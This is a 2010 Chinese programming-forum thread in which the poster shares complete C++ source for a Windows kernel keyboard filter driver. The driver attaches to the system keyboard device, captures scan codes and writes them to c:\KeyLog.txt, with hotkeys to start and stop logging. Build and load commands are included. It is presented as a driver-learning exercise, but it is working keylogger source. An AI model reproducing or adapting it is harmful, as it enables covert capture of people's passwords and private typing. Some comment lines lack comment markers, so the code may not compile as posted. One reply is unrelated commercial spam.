主题:[原创]一个记录本机按键的键盘过滤驱动
强强
[专家分:4740] 发布于 2010-09-19 21:12:00
Drv.hpp:
extern "C"//在以下头文件中包含的函数原形编译到库中里全都生成C风格的函数名,如果不加EXTERN C的话生的成的C++风格的函数名,不好识别
{
#include <ddk\ntddk.h>
#include <ddk\ntddkbd.h>
#include <stdio.h>
#include <stdlib.h>
}
//
typedef struct _DeviceExtension//定义设备扩展结构,驱动程序中允许有这样一个设备扩展结构,里面一般放些本驱动需要用到的变量
{
PDEVICE_OBJECT pThisDevice;//指向这个设备对象的指针
UNICODE_STRING DeviceName;//设备名
UNICODE_STRING SymboLinkName;//连接符号名
PDEVICE_OBJECT KbdDevice;//指向键盘设备的指针,将来会用到
PIRP pIrp;//IRP指针(IRP刚开始练习驱动的时候可以理解成类似于RING3下的窗口消息,只不过它比窗口消息更复杂(相当的复杂)
USHORT KeyCode;//用来储存将来截获的键盘扫描码
bool IsHook;//一个标志,如果开始截获置其为真,否则为假
bool ShouldUnload;//将被卸载标志,同上
KEVENT kEvent;//定义一个内核事件
}DEVICE_EXTENSION,*PDEVICE_EXTENSION;
//
extern "C" NTSTATUS STDCALL DriverEntry(IN PDRIVER_OBJECT,IN PUNICODE_STRING);//由于是用C++编译器编译的,所以驱动入口函数要加EXTERN C,否则编译成C++风格的函数名的话无法识别,其余函数不用加EXTERN,编译器自动识别了
NTSTATUS STDCALL CreateDevice(IN PDRIVER_OBJECT);//创建一个虚拟设备,一个驱动程序一般需要有一个设备对象
void STDCALL DrvUnload(IN PDRIVER_OBJECT);//卸载函数,如果驱动没有它的话无法卸载
NTSTATUS STDCALL DrvDispatch(IN PDEVICE_OBJECT,IN PIRP);//刚开始可以理解成为内核消息处理函数,有点像RING3下的CALLBACK WndProc,对这个驱动来说没什么用的内核消息都发向它:)
NTSTATUS STDCALL DispatchRead(IN PDEVICE_OBJECT,IN PIRP);//当驱动取得读取一个按键消息时用该函数来处理
NTSTATUS STDCALL CompleteFunc(IN PDEVICE_OBJECT,IN PIRP,IN PVOID);//IRP的完成例程,当IRP被处理完之后会沿调用栈向上调用各个完成例程,一个IRP会有多个级别,一步一步处理
void STDCALL CancelRoutine(IN PDEVICE_OBJECT,IN PIRP);//取消例程,有点像完成例程吧,大家研究明白了告诉我一下:)
void STDCALL ThreadProc(PVOID);//在这个驱动中会创建一个内核线程,这个就是线程函数
//
最后更新于:2010-09-19 21:53:00
回复列表 (共6个回复)
沙发
强强 [专家分:4740] 发布于 2010-09-19 21:15:00
Drv.cpp:
#include "Drv.h"
//@@@@@@@@@@@@@@@@@@@@@@@@@.驱动入口
NTSTATUS STDCALL DriverEntry(IN PDRIVER_OBJECT pDriverObject,IN PUNICODE_STRING pRegistryPath)//驱动程序入口,内核会传给驱动程序两个参数一个是内核生成的驱动对象,另一个是注册表路径
{
NTSTATUS Status;//内核状态变量,表明驱动在内核中运行的各种状态
for(int i=0;i<IRP_MJ_MAXIMUM_FUNCTION;i++)//IRP_MJ_MAXIMUM_FUNCTION是一个常量,表明内核产生的和驱动程序将接收到的各种需要处理的事件的个数
{
pDriverObject->MajorFunction[i]=DrvDispatch;//把所有的事件都指向DrvDispatch函数,一般的事件我们没有用到
}
pDriverObject->DriverUnload=DrvUnload;//必需要有DrvUnload函数驱动才能卸载
pDriverObject->MajorFunction[IRP_MJ_READ]=DispatchRead;//我们只关心MajorFunction[IRP_MJ_READ],MajorFunction是一个指向函数的指针数组,它的第IRP_MJ_READ个元素所指向的函数将被用来处理键盘读事件
Status=CreateDevice(pDriverObject);//Status表示CreateDevice(pDriverObject)返回的内核状态,如果成功创建设备的话NT_SUCCESS(Status)宏返回的值是真
return Status;//返回状态,至此驱动入口函数结束,可见入口函数只是设置一些回调函数及创建设备的功能,当然,如果你想在入口函数中做些什么事的话,大家可以自己去试试,最容易的就是让系统蓝屏:)
}
//@@@@@@@@@@@@@@@@@@@@@@@@@.创建设备
NTSTATUS STDCALL CreateDevice(IN PDRIVER_OBJECT pDriverObject)//设备创建函数,它的参数是系统生成的并传给入口函数的驱动对象(注意要分清驱动对象与设备对象,驱动对象是描述这个驱动程序的,而设备对象是描述所创建的设备的)
{
DbgPrint("CreateDevice\n");//内核调试语句(可以在调试软件中显示出来)
NTSTATUS Status;
PDEVICE_OBJECT pDeviceObject;//指向设备对象的指针,在驱动中,指向各种对象的指针很多,这是因为内核中用到的对象很多都是系统创建的,程序并不需要创建各种对象,所以用一个自己的指针指向这个对象操作就OK了
PDEVICE_EXTENSION pDeviceExtension;//指向我们自己创建的驱动扩展结构体
UNICODE_STRING DeviceName;//设备名
UNICODE_STRING ustrKbdDeviceName;//我们将要挂载到它的键盘设备对象
PDEVICE_OBJECT pTargetDevice;//目标设备指针
RtlInitUnicodeString(&DeviceName,L"\\Device\\QqDevice");//UNICODESTRING更加安全,它不光有字符串数组,还有描述它的长度等信息的变量,应该说是一个结构RtlInitUnicodeString作用是初始化一个UNICODESTRING,内核中的字符串都用UNICODESTRING
Status=IoCreateDevice(pDriverObject,sizeof(DEVICE_EXTENSION),&DeviceName,FILE_DEVICE_KEYBOARD,0,TRUE,&pDeviceObject);//一个内核API,作用是创建一个内核设备对象
if(!NT_SUCCESS(Status))//判断是否创建成功
{
DbgPrint("Create Device Error\n");
return Status;
}
DbgPrint("CreateDevice Successfully\n");
pDeviceObject->Flags|=DO_BUFFERED_IO;//我们把我们自己声明的pDeviceObject传给IoCreateDevice函数,当函数成功运行时,这个指针就已经指向了一个由系统创建的设备对象,我们现在可以操作这个设备对象了:)
pDeviceExtension=(PDEVICE_EXTENSION)pDeviceObject->DeviceExtension;//大家向上看,在创建设备时我们把设备扩展结构的大小传给了创建函数,由此创建的设备对象中的DeviceExtension指针就会指向一个由系统分配的和设备扩展结构相同大小的一块内存区域,下面几行语句就是把一些我们要保存的变量放到这块内存区域中,这块内存区域就相当于一个设备扩展结构,不知道我说的明白不:)
pDeviceExtension->pThisDevice=pDeviceObject;//把设备对象指针放进去
pDeviceExtension->DeviceName=DeviceName;//把设备名放进去
RtlInitUnicodeString(&ustrKbdDeviceName,L"\\Device\\KeyboardClass0");//创建一个我们要挂载到其上面的的设备的设备名,这个驱动是一个截获按键信息的驱动,所以我们挂KeyboardClass0,KeyboardClass0这个设备名是系统创建的,它由系统键盘驱动程序创建
Status=IoAttachDevice(pDeviceObject,&ustrKbdDeviceName,&pTargetDevice);//这个函数把我们创建的设备对象挂载到键盘设备对象上,为什么要挂载呢?因为挂载以后,凡是有按键信息发往键盘驱动的都会先经过我们的设备对象,这样我们就可以截获它了:)
if(!NT_SUCCESS(Status))//判断是否挂载成功
{
DbgPrint("Attach Device Error\n");
}
else
{
DbgPrint("Attach Device Successful\n");
pDeviceExtension->KbdDevice=pTargetDevice;
}
//Create SymboLink
UNICODE_STRING SymboLink;//声明一个UNICODESTRING变量来存放连接符号
RtlInitUnicodeString(&SymboLink,L"\\??\\QqSymboLink");//我们的设备就叫QqSymboLink,什么是连接符号呢?比如我们在运行中输入E:就会访问到E盘,在内核中这个磁盘分区是不叫这个"E:"这个名子的,我们只是通过这个分区的连接符号名来访问它,用RING3的程序来控制驱动也用到连接符号
pDeviceExtension->SymboLinkName=SymboLink;//把连接符号的名称也放到设备扩展中去保存
Status=IoCreateSymbolicLink(&SymboLink,&DeviceName);//创建连接符号
if(!NT_SUCCESS(Status))//判断创建连接符号的状态是否成功
{
IoDeleteDevice(pDeviceObject);
return Status;
}
DbgPrint("SymboLink Create Successfully\n");
//Create Event
KeInitializeEvent(&pDeviceExtension->kEvent,NotificationEvent,false);//创建一个内核事件对象,它和RING3的EVENT差不多,也是用有信号和无信号来控制程序运行,下面会用到它:)
//
pDeviceExtension->ShouldUnload=false;//卸载标记,什么时候我想卸载这个设备及驱动把ShouldUnload置为TRUE
return Status;
}
板凳
强强 [专家分:4740] 发布于 2010-09-19 21:16:00
//@@@@@@@@@@@@@@@@@@@@@@@@@.卸载驱动
void STDCALL DrvUnload(IN PDRIVER_OBJECT pDriverObject)//参数是系统分配的驱动对象指针
{
DbgPrint("Driver Unload\n");
PDEVICE_OBJECT pTempDeviceObject;//创建一个临时的设备指针
pTempDeviceObject=pDriverObject->DeviceObject;//通过驱动对象寻找到设备对象并将其值赋予临时设备对象
PDEVICE_EXTENSION pDeviceExtension=(PDEVICE_EXTENSION)pTempDeviceObject->DeviceExtension;//再找到设备扩展结构体
IoDetachDevice(pDeviceExtension->KbdDevice);//将我们的设备对象和键盘设备对象取消挂载
IoDeleteSymbolicLink(&pDeviceExtension->SymboLinkName);//删除连接符号
IoDeleteDevice(pTempDeviceObject);//删除设备对象
return;
}
//@@@@@@@@@@@@@@@@@@@@@@@@@.分发函数
NTSTATUS STDCALL DrvDispatch(IN PDEVICE_OBJECT pDeviceObject,IN PIRP pIrp)//分发函数,参数是设备对象及IRP指针,RING3的消息相对简单用一个MSG结构就可以表示,内核消息非常复杂,所以IRP结构体很复杂,由IO管理器创建,有点象是RING3的消息
{
DbgPrint("DrvDispatch\n");
PIO_STACK_LOCATION pIoSpLoc=IoGetCurrentIrpStackLocation(pIrp);//IRP处理机制和RING3消息处理机制有些不同,RING3的MSG被发送到各个窗口,并由窗口函数定义的处理过程来处理,我个人觉得IRP是由IO管理器处理,IO管理器把IRP中各个调用栈取出来,根据这个IRP调用栈规定的驱动及处理函数来处理它,这个函数就是取出IRP的栈顶
ULONG IoControlCode;//声明一个控制码,备用
switch(pIoSpLoc->MajorFunction)//呵呵,这个地方有点象RING3窗口程序吧,IRP中的调用栈中的MajorFunction存放的就是一个事件,比如以下几个CASE中所定义的一样
{
case IRP_MJ_CREATE:
DbgPrint("IRP_MJ_CREATE\n");
break;
case IRP_MJ_CLOSE:
DbgPrint("IRP_MJ_CLOSE\n");
break;
case IRP_MJ_WRITE:
DbgPrint("IRP_MJ_WRITE\n");
break;
case IRP_MJ_DEVICE_CONTROL:
DbgPrint("IRP_MJ_DEVICE_CONTROL\n");
IoControlCode=pIoSpLoc->Parameters.DeviceIoControl.IoControlCode;
if(IoControlCode==0x200)
{
DbgPrint("IoControlCode 0x200\n");
}
break;
default:
break;
}
pIrp->IoStatus.Status=STATUS_SUCCESS;//处理完之后把IRP状态置为成功
pIrp->IoStatus.Information=0;//规定为0,为什么请你研究研究告诉我一下
IoCompleteRequest(pIrp,IO_NO_INCREMENT);告诉IO管理器这个IRP我完全处理完了,请销毁它吧
return pIrp->IoStatus.Status;//返回,这个函数主要是处理一些我不太需要的事件的
}
//@@@@@@@@@@@@@@@@@@@@@@@@@.读取例程
NTSTATUS STDCALL DispatchRead(IN PDEVICE_OBJECT pDeviceObject,IN PIRP pIrp)//这个函数是处理我需要的READ事件的
{
DbgPrint("Dispatch Read\n");
((PDEVICE_EXTENSION)(pDeviceObject->DeviceExtension))->pIrp=pIrp;//先把这个IRP的指针存起来
if(!((PDEVICE_EXTENSION)(pDeviceObject->DeviceExtension))->ShouldUnload)//如果想卸载这个驱动时执行ELSE块,如果不想卸载想继续截获时执行执行IF块,ELSE块把IRP的当前调用栈直接跳过,IF块把当前调用栈复制到下一个调用栈,并设置完成函数,所谓的完成函数就是当IRP处理完之后调用的一个函数,这时我们所需要的信息会包含在IRP中,我们通过完成函数来把它取出来
{
IoCopyCurrentIrpStackLocationToNext(pIrp);
IoSetCompletionRoutine(pIrp,CompleteFunc,pDeviceObject,true,true,true);
}
else
{
IoSkipCurrentIrpStackLocation(pIrp);
}
return IoCallDriver(((PDEVICE_EXTENSION)(pDeviceObject->DeviceExtension))->KbdDevice,pIrp);//关键,我们初步处理完这个IRP后,还要把这个IRP传送给真正的键盘设备来处理,否则按任何按键的话电脑都没有反应了,呵呵,那不是没用了吗:)
}
//@@@@@@@@@@@@@@@@@@@@@@@@@.完成函数
NTSTATUS STDCALL CompleteFunc(IN PDEVICE_OBJECT pDeviceObject,IN PIRP pIrp,IN PVOID Context)//参数是设备对象,IRP指针,一个PVOID指针
{
DbgPrint("Complete Routine\n");
NTSTATUS Status;
HANDLE hThread;//线程句柄,备用
PIO_STACK_LOCATION pIrpSp;//IRP调用栈指针
PKEYBOARD_INPUT_DATA pKeyData;//DDK中定义的结构,用来存放按键数据
pIrpSp=IoGetCurrentIrpStackLocation(pIrp);//取得当前调用栈
if(NT_SUCCESS(pIrp->IoStatus.Status))//如果当前IRP状态为成功的话
{
pKeyData=(PKEYBOARD_INPUT_DATA)pIrp->AssociatedIrp.SystemBuffer;//pIrp->AssociatedIrp.SystemBuffer指针指向的内存区域里存放的是PKEYBOARD_INPUT_DATA结构,获取它
if(pIrp->IoStatus.Status==STATUS_SUCCESS&&pKeyData->Flags==1)//如果IRP成功返回且PKEYBOARD_INPUT_DATA中旗标为1
{
DbgPrint("%d\n",pKeyData->MakeCode);
((PDEVICE_EXTENSION)(pDeviceObject->DeviceExtension))->KeyCode=pKeyData->MakeCode;//呵呵,当IRP处理完时按键的扫描码就在这:)
DbgPrint("Event Setted\n");
if(pKeyData->MakeCode==68)当扫描码为68时即按下F10时
{
Status=PsCreateSystemThread(&hThread,(ACCESS_MASK)0,NULL,(HANDLE)0,NULL,ThreadProc,pDeviceObject->DeviceExtension);//开启线程记录按键
if(!NT_SUCCESS(Status))
{
DbgPrint("Thread Create Error\n");//如果创建不成功
}
else
{
ZwClose(hThread);//如果创建成功,关闭线程句柄,让它自生自灭吧
}
}
else if(pKeyData->MakeCode==87)//当按下F11时,不记录按键
{
((PDEVICE_EXTENSION)(pDeviceObject->DeviceExtension))->IsHook=false;//不记录
}
else if(pKeyData->MakeCode==88)//当按下F12时
{
((PDEVICE_EXTENSION)(pDeviceObject->DeviceExtension))->IsHook=false;//取消记录按键
((PDEVICE_EXTENSION)(pDeviceObject->DeviceExtension))->ShouldUnload=true;//置卸载驱动标志
}
KeSetEvent(&((PDEVICE_EXTENSION)(pDeviceObject->DeviceExtension))->kEvent,0,false);//使内核事件为有信号
}
if(pIrp->PendingReturned)//如果IRP是异步返回
{
IoMarkIrpPending(pIrp);//标记该IRP为异步
}
}
return STATUS_SUCCESS;
}
3 楼
强强 [专家分:4740] 发布于 2010-09-19 21:16:00
//@@@@@@@@@@@@@@@@@@@@@@@@@.线程函数
void STDCALL ThreadProc(PVOID DevExt)//参数是(VOID*)设备扩展结构指针
{
HANDLE hFile;//为建立文件记录按键做准备
NTSTATUS Status;
PDEVICE_EXTENSION pDeviceExtension=(PDEVICE_EXTENSION)DevExt;//从参数获得设备扩展结构指针
UNICODE_STRING ustrFileName;//声明文件名
OBJECT_ATTRIBUTES ObjectAttributes;//创建文件所需要的结构
IO_STATUS_BLOCK IoStatusBlock;
//
pDeviceExtension->IsHook=true;//现在开始记录
RtlInitUnicodeString(&ustrFileName,L"\\??\\c:\\KeyLog.txt");//存放的文件名,注意写法和RING3下不同
InitializeObjectAttributes(&ObjectAttributes,&ustrFileName,OBJ_CASE_INSENSITIVE,NULL,NULL);//处理OBJECT_ATTRIBUTES结构
DbgPrint("In Thread\n");
Status=ZwCreateFile(&hFile,GENERIC_READ|GENERIC_WRITE,&ObjectAttributes,&IoStatusBlock,NULL,FILE_ATTRIBUTE_NORMAL,0,FILE_OPEN_IF,FILE_SYNCHRONOUS_IO_NONALERT,NULL,0);//建立文件
if(!NT_SUCCESS(Status))
{
DbgPrint("Create File Error\n");
}
while(pDeviceExtension->IsHook)//线程中的循环
{
KeWaitForSingleObject(&pDeviceExtension->kEvent,Executive,KernelMode,false,NULL);等待事件,否则的话CPU占用率100%
ZwWriteFile(hFile,NULL,NULL,NULL,&IoStatusBlock,&pDeviceExtension->KeyCode,sizeof(USHORT),NULL,NULL);//把扫描码写入文件
DbgPrint("One Loop With Event In Thread\n");
KeResetEvent(&pDeviceExtension->kEvent);//使用事件对象为无信号,等待下一按键将其置为有信号
}
ZwClose(hFile);//当不记录时关闭文件
PsTerminateSystemThread(STATUS_SUCCESS);//中止线程
DbgPrint("Thread Exited\n");
return;
}
4 楼
强强 [专家分:4740] 发布于 2010-09-19 21:25:00
早就写好了,一直太忙没与大家一起研究研究,我刚研究驱动(前段时间也扔下很长时间了),写的不敢保证都对,只是拿出来和朋友们分享一下,程序中不对的地方请大家踊跃指正,希望这个小程序能给想学习驱动的朋友们一点收获吧.这个驱动用MINGW32编译,命令行为:
编译:g++ -o "文件名.obj" -Wall -O3 -c "文件名.cpp"
连接:ld "文件名.obj" --subsystem=native --image-base=0x10000 --file-alignment=0x4 --section-alignment=0x4 --entry=_DriverEntry@8 -nostartfiles --nostdlib -L "库路径" -shared -l ntoskrnl -o "文件名.sys"
这个驱动是一个KERNEL MODE DRIVER,运行的话用KMD加载器加载一下就行了
抛块砖头,希望能引出玉来,呵呵,引出来的话也算是为论坛做点贡献.
5 楼
淘宝商盟 [专家分:30] 发布于 2010-09-26 13:47:00
寻找中国的最优秀的网商领袖精英
当今世界正经历着全球经济一体化的大潮,中国本土企业也因此面临着前所未有的机遇与挑战。
在这场洗礼中,哪些互联网平台有能力成为世界级的电子商务平台?网商精英要怎样做,才能最终成长为世界级网商精英领袖?
淘宝商盟平台震撼登场,携手淘宝30万商家联盟购物商城。
平台刚刚启动,互联网的网商精英请咨询qq: 908889846
占领市场第一先机,合力打造网商系统!
淘宝商盟官网 www.taobaosm.com
http://blog.sina.com.cn/tbsm8
淘宝商盟奖励制度
6 楼
djx_zh [专家分:0] 发布于 2012-05-04 08:56:00
谢谢
我来回复